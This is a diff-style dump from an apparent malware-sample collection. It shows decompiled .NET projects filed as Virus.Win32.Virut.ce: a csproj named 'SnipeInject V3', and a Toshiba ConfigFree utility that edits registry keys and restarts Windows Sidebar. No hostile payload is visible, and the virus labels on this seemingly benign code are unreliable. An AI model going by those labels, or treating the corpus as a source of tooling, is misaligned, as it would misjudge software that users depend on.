<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.csproj
+59
View File
@@ -0,0 +1,59 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{84D461DF-952D-468F-B553-3781AC011CF1}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>SnipeInject V3</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<FileAlignment>512</FileAlignment>
<RootNamespace>SnipeInject_V3</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="My\InternalXmlHelper.cs" />
<Compile Include="My\MySettings.cs" />
<Compile Include="My\MySettingsProperty.cs" />
<Compile Include="My\Resources\Resources.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Form1.resx" />
<EmbeddedResource Include="Resources.resx" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.sln
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SnipeInject V3", "Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.csproj", "{84D461DF-952D-468F-B553-3781AC011CF1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{84D461DF-952D-468F-B553-3781AC011CF1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{84D461DF-952D-468F-B553-3781AC011CF1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{84D461DF-952D-468F-B553-3781AC011CF1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{84D461DF-952D-468F-B553-3781AC011CF1}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/AssemblyInfo.cs
+14
View File
@@ -0,0 +1,14 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Toshiba Corporation")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyDescription("ConfigFree function enabler")]
[assembly: AssemblyProduct("cfFncEnabler")]
[assembly: AssemblyCopyright("Copyright © Toshiba 2008")]
[assembly: AssemblyTitle("cfFncEnabler")]
[assembly: ComVisible(false)]
[assembly: Guid("4abcf488-8562-4dcd-9e89-a83d0e7243ca")]
[assembly: AssemblyFileVersion("1.0.0.18")]
[assembly: AssemblyVersion("1.0.0.18")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.cs
+382
View File
@@ -0,0 +1,382 @@
// Decompiled with JetBrains decompiler
// Type: cfFncEnabler.Form1
// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null
// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe
using Microsoft.Win32;
using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Management;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
using System.Windows.Forms;
namespace cfFncEnabler
{
public class Form1 : Form
{
private bool bRunningWinSidebar;
private bool bRunningGglSidebar;
private int nCount;
private IContainer components;
private System.Windows.Forms.Timer timer1;
private TextBox myTextBox;
private Button button1;
public Form1()
{
this.InitializeComponent();
this.myTextBox.Text = "TOSHIBA ConfigFree WPS/Sidebar gadgets enabler version 1.0.0.14.\r\n";
}
private void Form1_Load(object sender, EventArgs e)
{
try
{
Hashtable hashtable = new Hashtable();
try
{
ManagementScope scope = new ManagementScope("root\\cimv2");
scope.Connect();
ObjectQuery query = new ObjectQuery("select ProductName,PNPDeviceID from Win32_NetworkAdapter");
ManagementObjectCollection objectCollection = new ManagementObjectSearcher(scope, query).Get();
foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces())
{
if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Wireless80211)
{
foreach (ManagementObject managementObject in objectCollection)
{
if (networkInterface.Description.ToString().Contains(managementObject.GetPropertyValue("ProductName").ToString()))
{
if (managementObject.GetPropertyValue("PNPDeviceID") != null)
{
hashtable.Add((object) managementObject.GetPropertyValue("PNPDeviceID").ToString(), (object) managementObject.GetPropertyValue("PNPDeviceID").ToString().Substring(4, 8));
}
else
{
if (managementObject.GetPropertyValue("ProductName").ToString().Contains("Atheros"))
hashtable.Add((object) "PCI\\VEN_168C\\NULL", (object) "VEN_168C");
if (managementObject.GetPropertyValue("ProductName").ToString().Contains("Realtek"))
hashtable.Add((object) "PCI\\VEN_10EC\\NULL", (object) "VEN_10EC");
}
}
}
}
}
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, "cfFncEnabler", "scope.Connect():" + ex.Message);
}
try
{
string subkey = "SOFTWARE\\TOSHIBA\\ConfigFree\\";
RegistryKey subKey = Registry.CurrentUser.CreateSubKey(subkey);
foreach (DictionaryEntry dictionaryEntry in hashtable)
{
if (dictionaryEntry.Value.ToString().CompareTo((string) null) != 0)
{
switch (dictionaryEntry.Value.ToString())
{
case "VEN_168C":
ServiceController serviceController = new ServiceController("jswpsapi");
try
{
if (serviceController.Status == ServiceControllerStatus.ContinuePending || serviceController.Status == ServiceControllerStatus.Paused || serviceController.Status == ServiceControllerStatus.PausePending || serviceController.Status == ServiceControllerStatus.Running || serviceController.Status == ServiceControllerStatus.StartPending || serviceController.Status == ServiceControllerStatus.Stopped || serviceController.Status == ServiceControllerStatus.StopPending)
{
subKey.SetValue("EnableWPS", (object) 1);
goto label_36;
}
else
{
subKey.SetValue("EnableWPS", (object) 0);
goto label_36;
}
}
catch (Exception ex)
{
this.ndsDBGError(1, 0, "cfWPSEnabler", ex.Message);
subKey.SetValue("EnableWPS", (object) 0);
goto label_36;
}
case "VID_0BDA":
case "VEN_10EC":
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string str1 = Path.GetDirectoryName(folderPath) + "\\SysWOW64";
string str2 = "\\RtlLib.dll";
if (File.Exists(folderPath + str2) || File.Exists(str1 + str2))
{
subKey.SetValue("EnableWPS", (object) 3);
goto label_36;
}
else
{
subKey.SetValue("EnableWPS", (object) 0);
goto label_36;
}
default:
subKey.SetValue("EnableWPS", (object) 0);
continue;
}
}
}
label_36:
subKey.Close();
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, "cfFncEnabler", "Registry.CurrentUser.CreateSubKey" + ex.Message);
}
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, "cfFncEnabler", "IPGlobalProperties:" + ex.Message);
}
if (Environment.OSVersion.Version.Major < 6 || Environment.OSVersion.Version.Minor < 1)
return;
string subkey1 = "SOFTWARE\\TOSHIBA\\ConfigFree\\";
RegistryKey subKey1 = Registry.CurrentUser.CreateSubKey(subkey1);
try
{
subKey1.SetValue("EnableWPS", (object) 0);
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (Form1_Load), "Registry.CurrentUser.CreateSubKey(rKeyName):" + ex.Message);
}
subKey1.Close();
}
private void timer1_Tick(object sender, EventArgs e)
{
int num1 = 0;
string name = "SOFTWARE\\Wow6432Node\\TOSHIBA\\ConfigFree\\";
string str1 = "SOFTWARE\\TOSHIBA\\ConfigFree\\";
if (this.nCount >= 4)
{
this.timer1.Stop();
this.ndsDBGError(1, -1, nameof (timer1_Tick), "timer1 is timeout.:");
num1 = 1;
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(str1);
try
{
registryKey = Registry.CurrentUser.CreateSubKey(str1);
registryKey.SetValue("GadgetsConfigured", (object) num1);
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.CreateSubKey(rKeyName):" + ex.Message);
}
registryKey.Close();
Environment.Exit(0);
}
if (Process.GetProcessesByName("sidebar").Length > 0)
{
this.bRunningWinSidebar = true;
this.myTextBox.Text = "Windows Sidebar is running.\r\n";
}
if (Process.GetProcessesByName("GoogleDesktop").Length > 0)
{
this.bRunningGglSidebar = true;
this.myTextBox.Text = "Google Sidebar is running.\r\n";
}
bool flag = Marshal.SizeOf((object) IntPtr.Zero) == 8;
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(str1);
try
{
num1 = (int) registryKey.GetValue("GadgetsConfigured");
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.OpenSubKey(rKeyName):nGadgetsConfigured:" + ex.Message);
}
finally
{
registryKey.Close();
}
int num2 = 2;
try
{
registryKey = !flag ? Registry.LocalMachine.OpenSubKey(str1) : Registry.LocalMachine.OpenSubKey(name);
num2 = (int) registryKey.GetValue("EnableGadgets", (object) 2);
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.LocalMachine.OpenSubKey(rKeyName):nEnableGadgets:" + ex.Message);
}
finally
{
registryKey.Close();
}
if (num1 == 0)
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
string str2 = folderPath + " (x86)";
string str3 = "\\Windows Sidebar\\sidebar.exe";
string str4 = "\\TOSHIBA\\ConfigFree\\";
if (this.bRunningWinSidebar)
{
if (num2 != 2)
{
try
{
foreach (Process process in Process.GetProcessesByName("sidebar"))
{
try
{
process.Kill();
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, "cfFncEnabler", "p.Kill():" + ex.Message);
}
}
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, "cfFncEnabler", "p.Kill():" + ex.Message);
}
}
}
try
{
if (num2 != 2)
{
if (flag)
{
Process.Start("\"" + str2 + str4 + "AddGadget.exe\"", "-add \"" + str2 + str4 + "SrcSetting.ini\"");
this.myTextBox.Text += "AddGadget.exe registered (x64)\r\n";
num1 = 1;
this.timer1.Stop();
}
else
{
Process.Start("\"" + folderPath + str4 + "AddGadget.exe\"", "-add \"" + folderPath + str4 + "SrcSetting.ini\"");
this.myTextBox.Text += "AddGadget.exe registered (x86)\r\n";
num1 = 1;
this.timer1.Stop();
}
}
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (timer1_Tick), "System.Diagnostics.Process.Start:Enable:" + ex.Message);
}
try
{
registryKey = Registry.CurrentUser.CreateSubKey(str1);
registryKey.SetValue("GadgetsConfigured", (object) num1);
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.CreateSubKey(rKeyName):" + ex.Message);
}
finally
{
registryKey.Close();
}
if (num2 == 1)
{
if (this.bRunningWinSidebar)
{
if (!this.bRunningGglSidebar)
{
Thread.Sleep(500);
Process.Start("\"" + folderPath + str3 + "\"");
}
}
}
}
else
this.myTextBox.Text = "Gadget setting has already done.\r\n";
}
catch (Exception ex)
{
this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.CreateSubKey(2):" + ex.Message);
}
if (num1 == 1)
{
TextBox textBox = this.myTextBox;
textBox.Text = textBox.Text + this.nCount.ToString() + "Exit.\r\n";
Environment.Exit(0);
}
TextBox textBox1 = this.myTextBox;
textBox1.Text = textBox1.Text + this.nCount.ToString() + ": timer1_Tick finished.\r\n";
++this.nCount;
}
private void ndsDBGError(int i, int err, string function, string error)
{
if (i == 1)
{
string str = "Warining:";
Trace.WriteLine(str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")");
TextBox textBox = this.myTextBox;
textBox.Text = textBox.Text + str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")\r\n";
}
else
{
string str = "Fatal:";
Trace.WriteLine(str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")");
TextBox textBox = this.myTextBox;
textBox.Text = textBox.Text + str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")\r\n";
}
}
private void button1_Click(object sender, EventArgs e) => this.Close();
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.myTextBox = new TextBox();
this.button1 = new Button();
this.SuspendLayout();
this.timer1.Enabled = true;
this.timer1.Interval = 3000;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.myTextBox.Location = new Point(12, 12);
this.myTextBox.Multiline = true;
this.myTextBox.Name = "myTextBox";
this.myTextBox.ScrollBars = ScrollBars.Vertical;
this.myTextBox.Size = new Size(560, 210);
this.myTextBox.TabIndex = 0;
this.button1.Location = new Point(497, 228);
this.button1.Name = "button1";
this.button1.Size = new Size(75, 23);
this.button1.TabIndex = 1;
this.button1.Text = "OK";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(6f, 12f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(584, 263);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.myTextBox);
this.Name = nameof (Form1);
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = "cfFncEnabler";
this.WindowState = FormWindowState.Minimized;
this.Load += new EventHandler(this.Form1_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.resx
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Program.cs
+22
View File
@@ -0,0 +1,22 @@
// Decompiled with JetBrains decompiler
// Type: cfFncEnabler.Program
// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null
// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe
using System;
using System.Windows.Forms;
namespace cfFncEnabler
{
internal static class Program
{
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run((Form) new Form1());
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.cs
+46
View File
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: cfFncEnabler.Properties.Resources
// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null
// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace cfFncEnabler.Properties
{
[DebuggerNonUserCode]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
[CompilerGenerated]
internal class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
internal Resources()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (cfFncEnabler.Properties.Resources.resourceMan == null)
cfFncEnabler.Properties.Resources.resourceMan = new ResourceManager("cfFncEnabler.Properties.Resources", typeof (cfFncEnabler.Properties.Resources).Assembly);
return cfFncEnabler.Properties.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => cfFncEnabler.Properties.Resources.resourceCulture;
set => cfFncEnabler.Properties.Resources.resourceCulture = value;
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.resx
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
